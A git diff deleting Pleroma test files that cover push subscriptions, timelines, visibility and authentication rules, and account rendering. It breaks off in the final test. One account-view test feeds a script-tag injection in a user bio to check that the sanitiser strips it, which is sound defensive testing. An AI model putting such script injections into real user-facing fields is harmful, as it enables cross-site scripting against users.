Pleroma.Web.Push - alias Pleroma.Web.Push.Subscription - - @sub %{ - "endpoint" => "https://example.com/example/1234", - "keys" => %{ - "auth" => "8eDyX_uCN0XRhSbY5hs7Hg==", - "p256dh" => - "BCIWgsnyXDv1VkhqL2P7YRBvdeuDnlwAPT2guNhdIoW3IP7GmHh1SMKPLxRf7x8vJy6ZFK3ol2ohgn_-0yP7QQA=" - } - } - @server_key Keyword.get(Push.vapid_config(), :public_key) - - setup do - user = insert(:user) - token = insert(:oauth_token, user: user, scopes: ["push"]) - - conn = - build_conn() - |> assign(:user, user) - |> assign(:token, token) - |> put_req_header("content-type", "application/json") - - %{conn: conn, user: user, token: token} - end - - defmacro assert_error_when_disable_push(do: yield) do - quote do - vapid_details = Application.get_env(:web_push_encryption, :vapid_details, []) - Application.put_env(:web_push_encryption, :vapid_details, []) - - assert %{"error" => "Web push subscription is disabled on this Pleroma instance"} == - unquote(yield) - - Application.put_env(:web_push_encryption, :vapid_details, vapid_details) - end - end - - describe "creates push subscription" do - test "returns error when push disabled ", %{conn: conn} do - assert_error_when_disable_push do - conn - |> post("/api/v1/push/subscription", %{subscription: @sub}) - |> json_response_and_validate_schema(403) - end - end - - test "successful creation", %{conn: conn} do - result = - conn - |> post("/api/v1/push/subscription", %{ - "data" => %{ - "alerts" => %{"mention" => true, "test" => true, "pleroma:chat_mention" => true} - }, - "subscription" => @sub - }) - |> json_response_and_validate_schema(200) - - [subscription] = Pleroma.Repo.all(Subscription) - - assert %{ - "alerts" => %{"mention" => true, "pleroma:chat_mention" => true}, - "endpoint" => subscription.endpoint, - "id" => to_string(subscription.id), - "server_key" => @server_key - } == result - end - end - - describe "gets a user subscription" do - test "returns error when push disabled ", %{conn: conn} do - assert_error_when_disable_push do - conn - |> get("/api/v1/push/subscription", %{}) - |> json_response_and_validate_schema(403) - end - end - - test "returns error when user hasn't subscription", %{conn: conn} do - res = - conn - |> get("/api/v1/push/subscription", %{}) - |> json_response_and_validate_schema(404) - - assert %{"error" => "Record not found"} == res - end - - test "returns a user subsciption", %{conn: conn, user: user, token: token} do - subscription = - insert(:push_subscription, - user: user, - token: token, - data: %{"alerts" => %{"mention" => true}} - ) - - res = - conn - |> get("/api/v1/push/subscription", %{}) - |> json_response_and_validate_schema(200) - - expect = %{ - "alerts" => %{"mention" => true}, - "endpoint" => "https://example.com/example/1234", - "id" => to_string(subscription.id), - "server_key" => @server_key - } - - assert expect == res - end - end - - describe "updates a user subsciption" do - setup %{conn: conn, user: user, token: token} do - subscription = - insert(:push_subscription, - user: user, - token: token, - data: %{"alerts" => %{"mention" => true}} - ) - - %{conn: conn, user: user, token: token, subscription: subscription} - end - - test "returns error when push disabled ", %{conn: conn} do - assert_error_when_disable_push do - conn - |> put("/api/v1/push/subscription", %{data: %{"alerts" => %{"mention" => false}}}) - |> json_response_and_validate_schema(403) - end - end - - test "returns updated subsciption", %{conn: conn, subscription: subscription} do - res = - conn - |> put("/api/v1/push/subscription", %{ - data: %{"alerts" => %{"mention" => false, "follow" => true}} - }) - |> json_response_and_validate_schema(200) - - expect = %{ - "alerts" => %{"follow" => true, "mention" => false}, - "endpoint" => "https://example.com/example/1234", - "id" => to_string(subscription.id), - "server_key" => @server_key - } - - assert expect == res - end - end - - describe "deletes the user subscription" do - test "returns error when push disabled ", %{conn: conn} do - assert_error_when_disable_push do - conn - |> delete("/api/v1/push/subscription", %{}) - |> json_response_and_validate_schema(403) - end - end - - test "returns error when user hasn't subscription", %{conn: conn} do - res = - conn - |> delete("/api/v1/push/subscription", %{}) - |> json_response_and_validate_schema(404) - - assert %{"error" => "Record not found"} == res - end - - test "returns empty result and delete user subsciption", %{ - conn: conn, - user: user, - token: token - } do - subscription = - insert(:push_subscription, - user: user, - token: token, - data: %{"alerts" => %{"mention" => true}} - ) - - res = - conn - |> delete("/api/v1/push/subscription", %{}) - |> json_response_and_validate_schema(200) - - assert %{} == res - refute Pleroma.Repo.get(Subscription, subscription.id) - end - end -end diff --git a/test/web/mastodon_api/controllers/suggestion_controller_test.exs b/test/web/mastodon_api/controllers/suggestion_controller_test.exs deleted file mode 100644 index 7f08e187c..000000000 --- a/test/web/mastodon_api/controllers/suggestion_controller_test.exs +++ /dev/null @@ -1,18 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.SuggestionControllerTest do - use Pleroma.Web.ConnCase - - setup do: oauth_access(["read"]) - - test "returns empty result", %{conn: conn} do - res = - conn - |> get("/api/v1/suggestions") - |> json_response_and_validate_schema(200) - - assert res == [] - end -end diff --git a/test/web/mastodon_api/controllers/timeline_controller_test.exs b/test/web/mastodon_api/controllers/timeline_controller_test.exs deleted file mode 100644 index c6e0268fd..000000000 --- a/test/web/mastodon_api/controllers/timeline_controller_test.exs +++ /dev/null @@ -1,560 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.TimelineControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - import Tesla.Mock - - alias Pleroma.Config - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe "home" do - setup do: oauth_access(["read:statuses"]) - - test "does NOT embed account/pleroma/relationship in statuses", %{ - user: user, - conn: conn - } do - other_user = insert(:user) - - {:ok, _} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - - response = - conn - |> assign(:user, user) - |> get("/api/v1/timelines/home") - |> json_response_and_validate_schema(200) - - assert Enum.all?(response, fn n -> - get_in(n, ["account", "pleroma", "relationship"]) == %{} - end) - end - - test "the home timeline when the direct messages are excluded", %{user: user, conn: conn} do - {:ok, public_activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) - {:ok, direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - - {:ok, unlisted_activity} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) - - {:ok, private_activity} = CommonAPI.post(user, %{status: ".", visibility: "private"}) - - conn = get(conn, "/api/v1/timelines/home?exclude_visibilities[]=direct") - - assert status_ids = json_response_and_validate_schema(conn, :ok) |> Enum.map(& &1["id"]) - assert public_activity.id in status_ids - assert unlisted_activity.id in status_ids - assert private_activity.id in status_ids - refute direct_activity.id in status_ids - end - end - - describe "public" do - @tag capture_log: true - test "the public timeline", %{conn: conn} do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test"}) - - _activity = insert(:note_activity, local: false) - - conn = get(conn, "/api/v1/timelines/public?local=False") - - assert length(json_response_and_validate_schema(conn, :ok)) == 2 - - conn = get(build_conn(), "/api/v1/timelines/public?local=True") - - assert [%{"content" => "test"}] = json_response_and_validate_schema(conn, :ok) - - conn = get(build_conn(), "/api/v1/timelines/public?local=1") - - assert [%{"content" => "test"}] = json_response_and_validate_schema(conn, :ok) - - # does not contain repeats - {:ok, _} = CommonAPI.repeat(activity.id, user) - - conn = get(build_conn(), "/api/v1/timelines/public?local=true") - - assert [_] = json_response_and_validate_schema(conn, :ok) - end - - test "the public timeline includes only public statuses for an authenticated user" do - %{user: user, conn: conn} = oauth_access(["read:statuses"]) - - {:ok, _activity} = CommonAPI.post(user, %{status: "test"}) - {:ok, _activity} = CommonAPI.post(user, %{status: "test", visibility: "private"}) - {:ok, _activity} = CommonAPI.post(user, %{status: "test", visibility: "unlisted"}) - {:ok, _activity} = CommonAPI.post(user, %{status: "test", visibility: "direct"}) - - res_conn = get(conn, "/api/v1/timelines/public") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - end - - test "doesn't return replies if follower is posting with blocked user" do - %{conn: conn, user: blocker} = oauth_access(["read:statuses"]) - [blockee, friend] = insert_list(2, :user) - {:ok, blocker} = User.follow(blocker, friend) - {:ok, _} = User.block(blocker, blockee) - - conn = assign(conn, :user, blocker) - - {:ok, %{id: activity_id} = activity} = CommonAPI.post(friend, %{status: "hey!"}) - - {:ok, reply_from_blockee} = - CommonAPI.post(blockee, %{status: "heya", in_reply_to_status_id: activity}) - - {:ok, _reply_from_friend} = - CommonAPI.post(friend, %{status: "status", in_reply_to_status_id: reply_from_blockee}) - - # Still shows replies from yourself - {:ok, %{id: reply_from_me}} = - CommonAPI.post(blocker, %{status: "status", in_reply_to_status_id: reply_from_blockee}) - - response = - get(conn, "/api/v1/timelines/public") - |> json_response_and_validate_schema(200) - - assert length(response) == 2 - [%{"id" => ^reply_from_me}, %{"id" => ^activity_id}] = response - end - - test "doesn't return replies if follow is posting with users from blocked domain" do - %{conn: conn, user: blocker} = oauth_access(["read:statuses"]) - friend = insert(:user) - blockee = insert(:user, ap_id: "https://example.com/users/blocked") - {:ok, blocker} = User.follow(blocker, friend) - {:ok, blocker} = User.block_domain(blocker, "example.com") - - conn = assign(conn, :user, blocker) - - {:ok, %{id: activity_id} = activity} = CommonAPI.post(friend, %{status: "hey!"}) - - {:ok, reply_from_blockee} = - CommonAPI.post(blockee, %{status: "heya", in_reply_to_status_id: activity}) - - {:ok, _reply_from_friend} = - CommonAPI.post(friend, %{status: "status", in_reply_to_status_id: reply_from_blockee}) - - res_conn = get(conn, "/api/v1/timelines/public") - - activities = json_response_and_validate_schema(res_conn, 200) - [%{"id" => ^activity_id}] = activities - end - end - - defp local_and_remote_activities do - insert(:note_activity) - insert(:note_activity, local: false) - :ok - end - - describe "public with restrict unauthenticated timeline for local and federated timelines" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :timelines, :local], true) - - setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], true) - - test "if user is unauthenticated", %{conn: conn} do - res_conn = get(conn, "/api/v1/timelines/public?local=true") - - assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ - "error" => "authorization required for timeline view" - } - - res_conn = get(conn, "/api/v1/timelines/public?local=false") - - assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ - "error" => "authorization required for timeline view" - } - end - - test "if user is authenticated" do - %{conn: conn} = oauth_access(["read:statuses"]) - - res_conn = get(conn, "/api/v1/timelines/public?local=true") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - res_conn = get(conn, "/api/v1/timelines/public?local=false") - assert length(json_response_and_validate_schema(res_conn, 200)) == 2 - end - end - - describe "public with restrict unauthenticated timeline for local" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :timelines, :local], true) - - test "if user is unauthenticated", %{conn: conn} do - res_conn = get(conn, "/api/v1/timelines/public?local=true") - - assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ - "error" => "authorization required for timeline view" - } - - res_conn = get(conn, "/api/v1/timelines/public?local=false") - assert length(json_response_and_validate_schema(res_conn, 200)) == 2 - end - - test "if user is authenticated", %{conn: _conn} do - %{conn: conn} = oauth_access(["read:statuses"]) - - res_conn = get(conn, "/api/v1/timelines/public?local=true") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - res_conn = get(conn, "/api/v1/timelines/public?local=false") - assert length(json_response_and_validate_schema(res_conn, 200)) == 2 - end - end - - describe "public with restrict unauthenticated timeline for remote" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], true) - - test "if user is unauthenticated", %{conn: conn} do - res_conn = get(conn, "/api/v1/timelines/public?local=true") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - res_conn = get(conn, "/api/v1/timelines/public?local=false") - - assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ - "error" => "authorization required for timeline view" - } - end - - test "if user is authenticated", %{conn: _conn} do - %{conn: conn} = oauth_access(["read:statuses"]) - - res_conn = get(conn, "/api/v1/timelines/public?local=true") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - res_conn = get(conn, "/api/v1/timelines/public?local=false") - assert length(json_response_and_validate_schema(res_conn, 200)) == 2 - end - end - - describe "direct" do - test "direct timeline", %{conn: conn} do - user_one = insert(:user) - user_two = insert(:user) - - {:ok, user_two} = User.follow(user_two, user_one) - - {:ok, direct} = - CommonAPI.post(user_one, %{ - status: "Hi @#{user_two.nickname}!", - visibility: "direct" - }) - - {:ok, _follower_only} = - CommonAPI.post(user_one, %{ - status: "Hi @#{user_two.nickname}!", - visibility: "private" - }) - - conn_user_two = - conn - |> assign(:user, user_two) - |> assign(:token, insert(:oauth_token, user: user_two, scopes: ["read:statuses"])) - - # Only direct should be visible here - res_conn = get(conn_user_two, "api/v1/timelines/direct") - - assert [status] = json_response_and_validate_schema(res_conn, :ok) - - assert %{"visibility" => "direct"} = status - assert status["url"] != direct.data["id"] - - # User should be able to see their own direct message - res_conn = - build_conn() - |> assign(:user, user_one) - |> assign(:token, insert(:oauth_token, user: user_one, scopes: ["read:statuses"])) - |> get("api/v1/timelines/direct") - - [status] = json_response_and_validate_schema(res_conn, :ok) - - assert %{"visibility" => "direct"} = status - - # Both should be visible here - res_conn = get(conn_user_two, "api/v1/timelines/home") - - [_s1, _s2] = json_response_and_validate_schema(res_conn, :ok) - - # Test pagination - Enum.each(1..20, fn _ -> - {:ok, _} = - CommonAPI.post(user_one, %{ - status: "Hi @#{user_two.nickname}!", - visibility: "direct" - }) - end) - - res_conn = get(conn_user_two, "api/v1/timelines/direct") - - statuses = json_response_and_validate_schema(res_conn, :ok) - assert length(statuses) == 20 - - max_id = List.last(statuses)["id"] - - res_conn = get(conn_user_two, "api/v1/timelines/direct?max_id=#{max_id}") - - assert [status] = json_response_and_validate_schema(res_conn, :ok) - - assert status["url"] != direct.data["id"] - end - - test "doesn't include DMs from blocked users" do - %{user: blocker, conn: conn} = oauth_access(["read:statuses"]) - blocked = insert(:user) - other_user = insert(:user) - {:ok, _user_relationship} = User.block(blocker, blocked) - - {:ok, _blocked_direct} = - CommonAPI.post(blocked, %{ - status: "Hi @#{blocker.nickname}!", - visibility: "direct" - }) - - {:ok, direct} = - CommonAPI.post(other_user, %{ - status: "Hi @#{blocker.nickname}!", - visibility: "direct" - }) - - res_conn = get(conn, "api/v1/timelines/direct") - - [status] = json_response_and_validate_schema(res_conn, :ok) - assert status["id"] == direct.id - end - end - - describe "list" do - setup do: oauth_access(["read:lists"]) - - test "does not contain retoots", %{user: user, conn: conn} do - other_user = insert(:user) - {:ok, activity_one} = CommonAPI.post(user, %{status: "Marisa is cute."}) - {:ok, activity_two} = CommonAPI.post(other_user, %{status: "Marisa is stupid."}) - {:ok, _} = CommonAPI.repeat(activity_one.id, other_user) - - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - - conn = get(conn, "/api/v1/timelines/list/#{list.id}") - - assert [%{"id" => id}] = json_response_and_validate_schema(conn, :ok) - - assert id == to_string(activity_two.id) - end - - test "works with pagination", %{user: user, conn: conn} do - other_user = insert(:user) - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - - Enum.each(1..30, fn i -> - CommonAPI.post(other_user, %{status: "post number #{i}"}) - end) - - res = - get(conn, "/api/v1/timelines/list/#{list.id}?limit=1") - |> json_response_and_validate_schema(:ok) - - assert length(res) == 1 - - [first] = res - - res = - get(conn, "/api/v1/timelines/list/#{list.id}?max_id=#{first["id"]}&limit=30") - |> json_response_and_validate_schema(:ok) - - assert length(res) == 29 - end - - test "list timeline", %{user: user, conn: conn} do - other_user = insert(:user) - {:ok, _activity_one} = CommonAPI.post(user, %{status: "Marisa is cute."}) - {:ok, activity_two} = CommonAPI.post(other_user, %{status: "Marisa is cute."}) - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - - conn = get(conn, "/api/v1/timelines/list/#{list.id}") - - assert [%{"id" => id}] = json_response_and_validate_schema(conn, :ok) - - assert id == to_string(activity_two.id) - end - - test "list timeline does not leak non-public statuses for unfollowed users", %{ - user: user, - conn: conn - } do - other_user = insert(:user) - {:ok, activity_one} = CommonAPI.post(other_user, %{status: "Marisa is cute."}) - - {:ok, _activity_two} = - CommonAPI.post(other_user, %{ - status: "Marisa is cute.", - visibility: "private" - }) - - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - - conn = get(conn, "/api/v1/timelines/list/#{list.id}") - - assert [%{"id" => id}] = json_response_and_validate_schema(conn, :ok) - - assert id == to_string(activity_one.id) - end - end - - describe "hashtag" do - setup do: oauth_access(["n/a"]) - - @tag capture_log: true - test "hashtag timeline", %{conn: conn} do - following = insert(:user) - - {:ok, activity} = CommonAPI.post(following, %{status: "test #2hu"}) - - nconn = get(conn, "/api/v1/timelines/tag/2hu") - - assert [%{"id" => id}] = json_response_and_validate_schema(nconn, :ok) - - assert id == to_string(activity.id) - - # works for different capitalization too - nconn = get(conn, "/api/v1/timelines/tag/2HU") - - assert [%{"id" => id}] = json_response_and_validate_schema(nconn, :ok) - - assert id == to_string(activity.id) - end - - test "multi-hashtag timeline", %{conn: conn} do - user = insert(:user) - - {:ok, activity_test} = CommonAPI.post(user, %{status: "#test"}) - {:ok, activity_test1} = CommonAPI.post(user, %{status: "#test #test1"}) - {:ok, activity_none} = CommonAPI.post(user, %{status: "#test #none"}) - - any_test = get(conn, "/api/v1/timelines/tag/test?any[]=test1") - - [status_none, status_test1, status_test] = json_response_and_validate_schema(any_test, :ok) - - assert to_string(activity_test.id) == status_test["id"] - assert to_string(activity_test1.id) == status_test1["id"] - assert to_string(activity_none.id) == status_none["id"] - - restricted_test = get(conn, "/api/v1/timelines/tag/test?all[]=test1&none[]=none") - - assert [status_test1] == json_response_and_validate_schema(restricted_test, :ok) - - all_test = get(conn, "/api/v1/timelines/tag/test?all[]=none") - - assert [status_none] == json_response_and_validate_schema(all_test, :ok) - end - end - - describe "hashtag timeline handling of :restrict_unauthenticated setting" do - setup do - user = insert(:user) - {:ok, activity1} = CommonAPI.post(user, %{status: "test #tag1"}) - {:ok, _activity2} = CommonAPI.post(user, %{status: "test #tag1"}) - - activity1 - |> Ecto.Changeset.change(%{local: false}) - |> Pleroma.Repo.update() - - base_uri = "/api/v1/timelines/tag/tag1" - error_response = %{"error" => "authorization required for timeline view"} - - %{base_uri: base_uri, error_response: error_response} - end - - defp ensure_authenticated_access(base_uri) do - %{conn: auth_conn} = oauth_access(["read:statuses"]) - - res_conn = get(auth_conn, "#{base_uri}?local=true") - assert length(json_response(res_conn, 200)) == 1 - - res_conn = get(auth_conn, "#{base_uri}?local=false") - assert length(json_response(res_conn, 200)) == 2 - end - - test "with default settings on private instances, returns 403 for unauthenticated users", %{ - conn: conn, - base_uri: base_uri, - error_response: error_response - } do - clear_config([:instance, :public], false) - clear_config([:restrict_unauthenticated, :timelines]) - - for local <- [true, false] do - res_conn = get(conn, "#{base_uri}?local=#{local}") - - assert json_response(res_conn, :unauthorized) == error_response - end - - ensure_authenticated_access(base_uri) - end - - test "with `%{local: true, federated: true}`, returns 403 for unauthenticated users", %{ - conn: conn, - base_uri: base_uri, - error_response: error_response - } do - clear_config([:restrict_unauthenticated, :timelines, :local], true) - clear_config([:restrict_unauthenticated, :timelines, :federated], true) - - for local <- [true, false] do - res_conn = get(conn, "#{base_uri}?local=#{local}") - - assert json_response(res_conn, :unauthorized) == error_response - end - - ensure_authenticated_access(base_uri) - end - - test "with `%{local: false, federated: true}`, forbids unauthenticated access to federated timeline", - %{conn: conn, base_uri: base_uri, error_response: error_response} do - clear_config([:restrict_unauthenticated, :timelines, :local], false) - clear_config([:restrict_unauthenticated, :timelines, :federated], true) - - res_conn = get(conn, "#{base_uri}?local=true") - assert length(json_response(res_conn, 200)) == 1 - - res_conn = get(conn, "#{base_uri}?local=false") - assert json_response(res_conn, :unauthorized) == error_response - - ensure_authenticated_access(base_uri) - end - - test "with `%{local: true, federated: false}`, forbids unauthenticated access to public timeline" <> - "(but not to local public activities which are delivered as part of federated timeline)", - %{conn: conn, base_uri: base_uri, error_response: error_response} do - clear_config([:restrict_unauthenticated, :timelines, :local], true) - clear_config([:restrict_unauthenticated, :timelines, :federated], false) - - res_conn = get(conn, "#{base_uri}?local=true") - assert json_response(res_conn, :unauthorized) == error_response - - # Note: local activities get delivered as part of federated timeline - res_conn = get(conn, "#{base_uri}?local=false") - assert length(json_response(res_conn, 200)) == 2 - - ensure_authenticated_access(base_uri) - end - end -end diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs deleted file mode 100644 index bb4bc4396..000000000 --- a/test/web/mastodon_api/mastodon_api_controller_test.exs +++ /dev/null @@ -1,34 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do - use Pleroma.Web.ConnCase - - describe "empty_array/2 (stubs)" do - test "GET /api/v1/accounts/:id/identity_proofs" do - %{user: user, conn: conn} = oauth_access(["read:accounts"]) - - assert [] == - conn - |> get("/api/v1/accounts/#{user.id}/identity_proofs") - |> json_response(200) - end - - test "GET /api/v1/endorsements" do - %{conn: conn} = oauth_access(["read:accounts"]) - - assert [] == - conn - |> get("/api/v1/endorsements") - |> json_response(200) - end - - test "GET /api/v1/trends", %{conn: conn} do - assert [] == - conn - |> get("/api/v1/trends") - |> json_response(200) - end - end -end diff --git a/test/web/mastodon_api/mastodon_api_test.exs b/test/web/mastodon_api/mastodon_api_test.exs deleted file mode 100644 index 0c5a38bf6..000000000 --- a/test/web/mastodon_api/mastodon_api_test.exs +++ /dev/null @@ -1,103 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.MastodonAPITest do - use Pleroma.Web.ConnCase - - alias Pleroma.Notification - alias Pleroma.ScheduledActivity - alias Pleroma.User - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MastodonAPI.MastodonAPI - - import Pleroma.Factory - - describe "follow/3" do - test "returns error when followed user is deactivated" do - follower = insert(:user) - user = insert(:user, local: true, deactivated: true) - assert {:error, _error} = MastodonAPI.follow(follower, user) - end - - test "following for user" do - follower = insert(:user) - user = insert(:user) - {:ok, follower} = MastodonAPI.follow(follower, user) - assert User.following?(follower, user) - end - - test "returns ok if user already followed" do - follower = insert(:user) - user = insert(:user) - {:ok, follower} = User.follow(follower, user) - {:ok, follower} = MastodonAPI.follow(follower, refresh_record(user)) - assert User.following?(follower, user) - end - end - - describe "get_followers/2" do - test "returns user followers" do - follower1_user = insert(:user) - follower2_user = insert(:user) - user = insert(:user) - {:ok, _follower1_user} = User.follow(follower1_user, user) - {:ok, follower2_user} = User.follow(follower2_user, user) - - assert MastodonAPI.get_followers(user, %{"limit" => 1}) == [follower2_user] - end - end - - describe "get_friends/2" do - test "returns user friends" do - user = insert(:user) - followed_one = insert(:user) - followed_two = insert(:user) - followed_three = insert(:user) - - {:ok, user} = User.follow(user, followed_one) - {:ok, user} = User.follow(user, followed_two) - {:ok, user} = User.follow(user, followed_three) - res = MastodonAPI.get_friends(user) - - assert length(res) == 3 - assert Enum.member?(res, refresh_record(followed_three)) - assert Enum.member?(res, refresh_record(followed_two)) - assert Enum.member?(res, refresh_record(followed_one)) - end - end - - describe "get_notifications/2" do - test "returns notifications for user" do - user = insert(:user) - subscriber = insert(:user) - - User.subscribe(subscriber, user) - - {:ok, status} = CommonAPI.post(user, %{status: "Akariiiin"}) - - {:ok, status1} = CommonAPI.post(user, %{status: "Magi"}) - {:ok, [notification]} = Notification.create_notifications(status) - {:ok, [notification1]} = Notification.create_notifications(status1) - res = MastodonAPI.get_notifications(subscriber) - - assert Enum.member?(Enum.map(res, & &1.id), notification.id) - assert Enum.member?(Enum.map(res, & &1.id), notification1.id) - end - end - - describe "get_scheduled_activities/2" do - test "returns user scheduled activities" do - user = insert(:user) - - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - - attrs = %{params: %{}, scheduled_at: today} - {:ok, schedule} = ScheduledActivity.create(user, attrs) - assert MastodonAPI.get_scheduled_activities(user) == [schedule] - end - end -end diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs deleted file mode 100644 index a5f39b215..000000000 --- a/test/web/mastodon_api/views/account_view_test.exs +++ /dev/null @@ -1,575 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.AccountViewTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.User - alias Pleroma.UserRelationship - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MastodonAPI.AccountView - - import Pleroma.Factory - import Tesla.Mock - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "Represent a user account" do - background_image = %{ - "url" => [%{"href" => "https://example.com/images/asuka_hospital.png"}] - } - - user = - insert(:user, %{ - follower_count: 3, - note_count: 5, - background: background_image, - nickname: "shp@shitposter.club", - name: ":karjalanpiirakka: shp", - bio: - "<script src=\"invalid-html\"></script><span>valid html</span>. a<br>b<br/>c<br >d<br />f '&<>\"", - inserted_at: ~N[2017-08-15 15:47:06.597036], - emoji: %{"karjalanpiirakka" => "/file.png"}, - raw_bio: "valid html. a\nb\nc\nd\nf '&<>\"" - }) - - expected = %{ - id: to_string(user.id), - username: "shp", - acct: user.nickname, - display_name: user.name, - locked: false, - created_at: "2017-08-15T15:47:06.000Z", - followers_count: 3, - following_count: 0, - statuses_count: 5, - note: "<span>valid html</span>. a<br/>b<br/>c<br/>d<br/>f '&<>"", - url: user.ap_id, - avatar: "http://localhost:4001/images/avi.png", - avatar_static: "http://localhost:4001/images/avi.png", - header: "http://localhost:4001/images/banner.png", - header_static: "http://localhost:4001/images/banner.png", - emojis: [ - %{ - static_url: "/file.png", - url: "/file.png", - shortcode: "karjalanpiirakka", - visible_in_picker: false - } - ], - fields: [], - bot: false, - source: %{ - note: "valid html. a\nb\nc\nd\nf '&<>\"", - sensitive: false, - pleroma: %{ - actor_type: "Person", - discoverable: true - }, - fields: [] - }, - pleroma: %{ - ap_id: user.ap_id, - background_image: "https://example.com/images/asuka_hospital.png", - favicon: nil, - confirmation_pending: false, - tags: [], - is_admin: false, - is_moderator: false, - hide_favorites: true, - hide_followers: false, - hide_follows: false, - hide_followers_count: false, - hide_follows_count: false, - relationship: %{}, - skip_thread_containment: false, - accepts_chat_messages: nil - } - } - - assert expected == AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - end - - describe "favicon" do - setup do - [user: insert(:user)] - end - - test "is parsed when :instance_favicons is enabled", %{user: user} do - clear_config([:instances_favicons, :enabled], true) - - assert %{ - pleroma: %{ - favicon: - "https://shitposter.club/plugins/Qvitter/img/gnusocial-favicons/favicon-16x16.png" - } - } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - end - - test "is nil when :instances_favicons is disabled", %{user: user} do - assert %{pleroma: %{favicon: nil}} = - AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - end - end - - test "Represent the user account for the account owner" do - user = insert(:user) - - notification_settings = %{ - block_from_strangers: false, - hide_notification_contents: false - } - - privacy = user.default_scope - - assert %{ - pleroma: %{notification_settings: ^notification_settings, allow_following_move: true}, - source: %{privacy: ^privacy} - } = AccountView.render("show.json", %{user: user, for: user}) - end - - test "Represent a Service(bot) account" do - user = - insert(:user, %{ - follower_count: 3, - note_count: 5, - actor_type: "Service", - nickname: "shp@shitposter.club", - inserted_at: ~N[2017-08-15 15:47:06.597036] - }) - - expected = %{ - id: to_string(user.id), - username: "shp", - acct: user.nickname, - display_name: user.name, - locked: false, - created_at: "2017-08-15T15:47:06.000Z", - followers_count: 3, - following_count: 0, - statuses_count: 5, - note: user.bio, - url: user.ap_id, - avatar: "http://localhost:4001/images/avi.png", - avatar_static: "http://localhost:4001/images/avi.png", - header: "http://localhost:4001/images/banner.png", - header_static: "http://localhost:4001/images/banner.png", - emojis: [], - fields: [], - bot: true, - source: %{ - note: user.bio, - sensitive: false, - pleroma: %{ - actor_type: "Service", - discoverable: true - }, - fields: [] - }, - pleroma: %{ - ap_id: user.ap_id, - background_image: nil, - favicon: nil, - confirmation_pending: false, - tags: [], - is_admin: false, - is_moderator: false, - hide_favorites: true, - hide_followers: false, - hide_follows: false, - hide_followers_count: false, - hide_follows_count: false, - relationship: %{}, - skip_thread_containment: false, - accepts_chat_messages: nil - } - } - - assert expected == AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - end - - test "Represent a Funkwhale channel" do - {:ok, user} = - User.get_or_fetch_by_ap_id( - "https://channels.tests.funkwhale.audio/federation/actors/compositions" - ) - - assert represented = - AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - - assert represented.acct == "compositions@channels.tests.funkwhale.audio" - assert represented.url == "https://channels.tests.funkwhale.audio/channels/compositions" - end - - test "Represent a deactivated user for an admin" do - admin = insert(:user, is_admin: true) - deactivated_user = insert(:user, deactivated: true) - represented = AccountView.render("show.json", %{user: deactivated_user, for: admin}) - assert represented[:pleroma][:deactivated] == true - end - - test "Represent a smaller mention" do - user = insert(:user) - - expected = %{ - id: to_string(user.id), - acct: user.nickname, - username: user.nickname, - url: user.ap_id - } - - assert expected == AccountView.render("mention.json", %{user: user}) - end - - test "demands :for or :skip_visibility_check option for account rendering" do - 